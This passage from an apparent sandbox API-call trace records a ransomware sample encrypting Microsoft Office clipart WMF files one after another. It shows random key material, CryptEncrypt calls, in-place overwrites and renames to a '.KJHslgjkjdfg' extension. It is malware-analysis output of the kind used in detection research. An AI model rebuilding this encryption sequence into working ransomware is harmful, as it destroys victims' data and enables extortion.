(hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.064] GetProcessHeap () returned 0x2a0000 [0190.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.064] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.064] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.064] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.064] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.064] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.064] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.065] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.065] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.065] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaa4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xaa4, lpOverlapped=0x0) returned 1 [0190.065] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xab0, dwBufLen=0xab0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xab0) returned 1 [0190.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.065] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xab0, lpOverlapped=0x0) returned 1 [0190.065] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.065] SetEndOfFile (hFile=0x114) returned 1 [0190.068] GetProcessHeap () returned 0x2a0000 [0190.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.068] GetProcessHeap () returned 0x2a0000 [0190.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf.kjhslgjkjdfg")) returned 1 [0190.070] CloseHandle (hObject=0x114) returned 1 [0190.070] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x765bc800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x765bc800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1724, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00513_.WMF", cAlternateFileName="")) returned 1 [0190.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.072] GetProcessHeap () returned 0x2a0000 [0190.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.072] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.072] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.072] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0190.074] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.074] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.074] GetProcessHeap () returned 0x2a0000 [0190.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.075] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.075] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.075] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.075] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.075] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.075] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.075] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.075] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.075] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.075] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.075] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.075] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1724, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1724, lpOverlapped=0x0) returned 1 [0190.076] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1730, dwBufLen=0x1730 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1730) returned 1 [0190.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.077] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1730, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1730, lpOverlapped=0x0) returned 1 [0190.077] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.077] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.077] SetEndOfFile (hFile=0x114) returned 1 [0190.080] GetProcessHeap () returned 0x2a0000 [0190.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.080] GetProcessHeap () returned 0x2a0000 [0190.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00513_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00513_.wmf.kjhslgjkjdfg")) returned 1 [0190.082] CloseHandle (hObject=0x114) returned 1 [0190.082] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2602, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00555_.WMF", cAlternateFileName="")) returned 1 [0190.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.084] GetProcessHeap () returned 0x2a0000 [0190.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.084] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0190.086] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.086] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.086] GetProcessHeap () returned 0x2a0000 [0190.087] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.087] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.087] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.087] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.087] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.087] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.087] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.087] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.087] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.087] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.087] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2602, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2602, lpOverlapped=0x0) returned 1 [0190.088] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2610, dwBufLen=0x2610 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2610) returned 1 [0190.088] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.089] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2610, lpOverlapped=0x0) returned 1 [0190.089] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.089] SetEndOfFile (hFile=0x114) returned 1 [0190.092] GetProcessHeap () returned 0x2a0000 [0190.092] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.092] GetProcessHeap () returned 0x2a0000 [0190.092] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00555_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00555_.wmf.kjhslgjkjdfg")) returned 1 [0190.094] CloseHandle (hObject=0x114) returned 1 [0190.094] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23879c00, ftCreationTime.dwHighDateTime=0x1c01c5d, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23879c00, ftLastWriteTime.dwHighDateTime=0x1c01c5d, nFileSizeHigh=0x0, nFileSizeLow=0x6260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00603_.WMF", cAlternateFileName="")) returned 1 [0190.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.095] GetProcessHeap () returned 0x2a0000 [0190.095] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.095] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.095] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.095] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.095] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.096] GetProcessHeap () returned 0x2a0000 [0190.096] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.096] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.096] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.098] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.098] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.098] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.098] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.099] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.099] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.099] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6260, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6260, lpOverlapped=0x0) returned 1 [0190.103] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6260, dwBufLen=0x6260 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6260) returned 1 [0190.103] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.103] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6260, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6260, lpOverlapped=0x0) returned 1 [0190.103] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.104] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.104] SetEndOfFile (hFile=0x114) returned 1 [0190.106] GetProcessHeap () returned 0x2a0000 [0190.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.107] GetProcessHeap () returned 0x2a0000 [0190.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00603_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00603_.wmf.kjhslgjkjdfg")) returned 1 [0190.109] CloseHandle (hObject=0x114) returned 1 [0190.109] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13335b00, ftCreationTime.dwHighDateTime=0x1bd4b0e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13335b00, ftLastWriteTime.dwHighDateTime=0x1bd4b0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00610_.WMF", cAlternateFileName="")) returned 1 [0190.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00610_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00610_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.110] GetProcessHeap () returned 0x2a0000 [0190.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.110] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.110] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.110] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.110] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.110] GetProcessHeap () returned 0x2a0000 [0190.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.110] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.110] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.110] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.113] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.113] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.113] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.113] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.113] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.114] CryptImportKey (in: hProv=0x2bcb08, 